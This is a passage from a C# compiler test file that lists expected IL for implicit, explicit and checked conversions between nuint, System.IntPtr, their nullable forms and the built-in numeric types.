.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nuint?""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""nuint?""
IL_0006: ret
}");
conversions(sourceType: "nuint?", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint?", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: call ""void* System.UIntPtr.op_Explicit(System.UIntPtr)""
IL_000c: ret
}");
conversions(sourceType: "nuint?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2.un", "nuint"));
conversions(sourceType: "nuint?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i1", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i1.un", "nuint"));
conversions(sourceType: "nuint?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u1", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u1.un", "nuint"));
conversions(sourceType: "nuint?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i2", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i2.un", "nuint"));
conversions(sourceType: "nuint?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u2", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u2.un", "nuint"));
conversions(sourceType: "nuint?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i4", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i4.un", "nuint"));
conversions(sourceType: "nuint?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u4", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.u4.un", "nuint"));
conversions(sourceType: "nuint?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u8", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i8.un", "nuint"));
conversions(sourceType: "nuint?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u8", "nuint"));
conversions(sourceType: "nuint?", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r4", "nuint"));
conversions(sourceType: "nuint?", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.r8", "nuint"));
conversions(sourceType: "nuint?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: conv.u8
IL_0008: call ""decimal decimal.op_Implicit(ulong)""
IL_000d: ret
}");
conversions(sourceType: "nuint?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint?", destType: "System.UIntPtr", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nuint nuint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "nuint?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nuint?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nuint", "char"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2.un", "nuint", "char"));
conversions(sourceType: "nuint?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i1", "nuint", "sbyte"), expectedCheckedIL: convFromToNullableT("conv.ovf.i1.un", "nuint", "sbyte"));
conversions(sourceType: "nuint?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u1", "nuint", "byte"), expectedCheckedIL: convFromToNullableT("conv.ovf.u1.un", "nuint", "byte"));
conversions(sourceType: "nuint?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i2", "nuint", "short"), expectedCheckedIL: convFromToNullableT("conv.ovf.i2.un", "nuint", "short"));
conversions(sourceType: "nuint?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u2", "nuint", "ushort"), expectedCheckedIL: convFromToNullableT("conv.ovf.u2.un", "nuint", "ushort"));
conversions(sourceType: "nuint?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i4", "nuint", "int"), expectedCheckedIL: convFromToNullableT("conv.ovf.i4.un", "nuint", "int"));
conversions(sourceType: "nuint?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u4", "nuint", "uint"), expectedCheckedIL: convFromToNullableT("conv.ovf.u4.un", "nuint", "uint"));
conversions(sourceType: "nuint?", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u8", "nuint", "long"), expectedCheckedIL: convFromToNullableT("conv.ovf.i8.un", "nuint", "long"));
conversions(sourceType: "nuint?", destType: "ulong?", expectedImplicitIL: convFromToNullableT("conv.u8", "nuint", "ulong"), expectedExplicitIL: convFromToNullableT("conv.u8", "nuint", "ulong"));
conversions(sourceType: "nuint?", destType: "float?", expectedImplicitIL: convFromToNullableT("conv.r4", "nuint", "float"), expectedExplicitIL: convFromToNullableT("conv.r4", "nuint", "float"), null);
conversions(sourceType: "nuint?", destType: "double?", expectedImplicitIL: convFromToNullableT("conv.r8", "nuint", "double"), expectedExplicitIL: convFromToNullableT("conv.r8", "nuint", "double"), null);
conversions(sourceType: "nuint?", destType: "decimal?",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nuint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: conv.u8
IL_001d: call ""decimal decimal.op_Implicit(ulong)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (nuint? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool nuint?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""nuint nuint?.GetValueOrDefault()""
IL_001c: conv.u8
IL_001d: call ""decimal decimal.op_Implicit(ulong)""
IL_0022: newobj ""decimal?..ctor(decimal)""
IL_0027: ret
}");
conversions(sourceType: "nuint?", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nuint to IntPtr.
conversions(sourceType: "nuint?", destType: "System.UIntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.IntPtr", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "System.IntPtr", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "void*", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("void* System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicit("int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convAndExplicit("long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(long)""
IL_000b: ret
}");
conversions(sourceType: "System.IntPtr", destType: "System.IntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.IntPtr", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitToNullableT("sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitToNullableT("byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitToNullableT("short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitToNullableT("ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("int", "int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("uint", "int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("uint", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("long", "long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("ulong", "long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitToNullableT("ulong", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr", destType: "float?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("float", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr", destType: "double?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitToNullableT("double", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_0006: call ""decimal decimal.op_Implicit(long)""
IL_000b: newobj ""decimal?..ctor(decimal)""
IL_0010: ret
}");
conversions(sourceType: "System.IntPtr", destType: "System.IntPtr?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""System.IntPtr?..ctor(System.IntPtr)""
IL_0006: ret
}");
conversions(sourceType: "System.IntPtr", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "char", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr?", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr?", destType: "short", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr?", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "int", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr?", destType: "long", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr?", destType: "float", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr?", destType: "double", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromNullableT("System.IntPtr", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr?", destType: "decimal", expectedImplicitIL: null,
@"{
// Code size 18 (0x12)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.IntPtr System.IntPtr?.Value.get""
IL_0007: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_000c: call ""decimal decimal.op_Implicit(long)""
IL_0011: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL:
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.IntPtr System.IntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "System.IntPtr?", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "char", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "sbyte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i1"));
conversions(sourceType: "System.IntPtr?", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u1"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "byte", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u1"));
conversions(sourceType: "System.IntPtr?", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.i2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "short", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.i2"));
conversions(sourceType: "System.IntPtr?", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.u2"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "ushort", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u2"));
conversions(sourceType: "System.IntPtr?", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "int", "int System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "uint", "int System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "uint", "int System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u4"));
conversions(sourceType: "System.IntPtr?", destType: "long?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "long", "long System.IntPtr.op_Explicit(System.IntPtr)"));
conversions(sourceType: "System.IntPtr?", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "ulong", "long System.IntPtr.op_Explicit(System.IntPtr)"), expectedCheckedIL: convAndExplicitFromToNullableT("System.IntPtr", "ulong", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.ovf.u8"));
conversions(sourceType: "System.IntPtr?", destType: "float?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "float", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r4"));
conversions(sourceType: "System.IntPtr?", destType: "double?", expectedImplicitIL: null, expectedExplicitIL: convAndExplicitFromToNullableT("System.IntPtr", "double", "long System.IntPtr.op_Explicit(System.IntPtr)", "conv.r8"));
conversions(sourceType: "System.IntPtr?", destType: "decimal?", expectedImplicitIL: null,
@"{
// Code size 39 (0x27)
.maxstack 1
.locals init (System.IntPtr? V_0,
decimal? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool System.IntPtr?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""decimal?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""System.IntPtr System.IntPtr?.GetValueOrDefault()""
IL_001c: call ""long System.IntPtr.op_Explicit(System.IntPtr)""
IL_0021: newobj ""decimal?..ctor(decimal)""
IL_0026: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "System.IntPtr?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.IntPtr?", destType: "System.UIntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "object", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(void*)"));
conversions(sourceType: "bool", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double", destType: "System.IntPtr", expectedImplicitIL: null, expectedExplicitIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConv("System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal", destType: "System.IntPtr", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "sbyte", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "byte", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "short", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "ushort", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "int", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(int)"));
conversions(sourceType: "uint", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.u8"));
conversions(sourceType: "long", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"));
conversions(sourceType: "ulong", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)"), expectedCheckedIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8.un"));
conversions(sourceType: "float", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "double", destType: "System.IntPtr?", expectedImplicitIL: null, expectedExplicitIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.i8"), expectedCheckedIL: explicitAndConvToNullableT("System.IntPtr", "System.IntPtr System.IntPtr.op_Explicit(long)", "conv.ovf.i8"));
conversions(sourceType: "decimal", destType: "System.IntPtr?", expectedImplicitIL: null,
@"{
// Code size 17 (0x11)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: call ""System.IntPtr System.IntPtr.op_Explicit(long)""
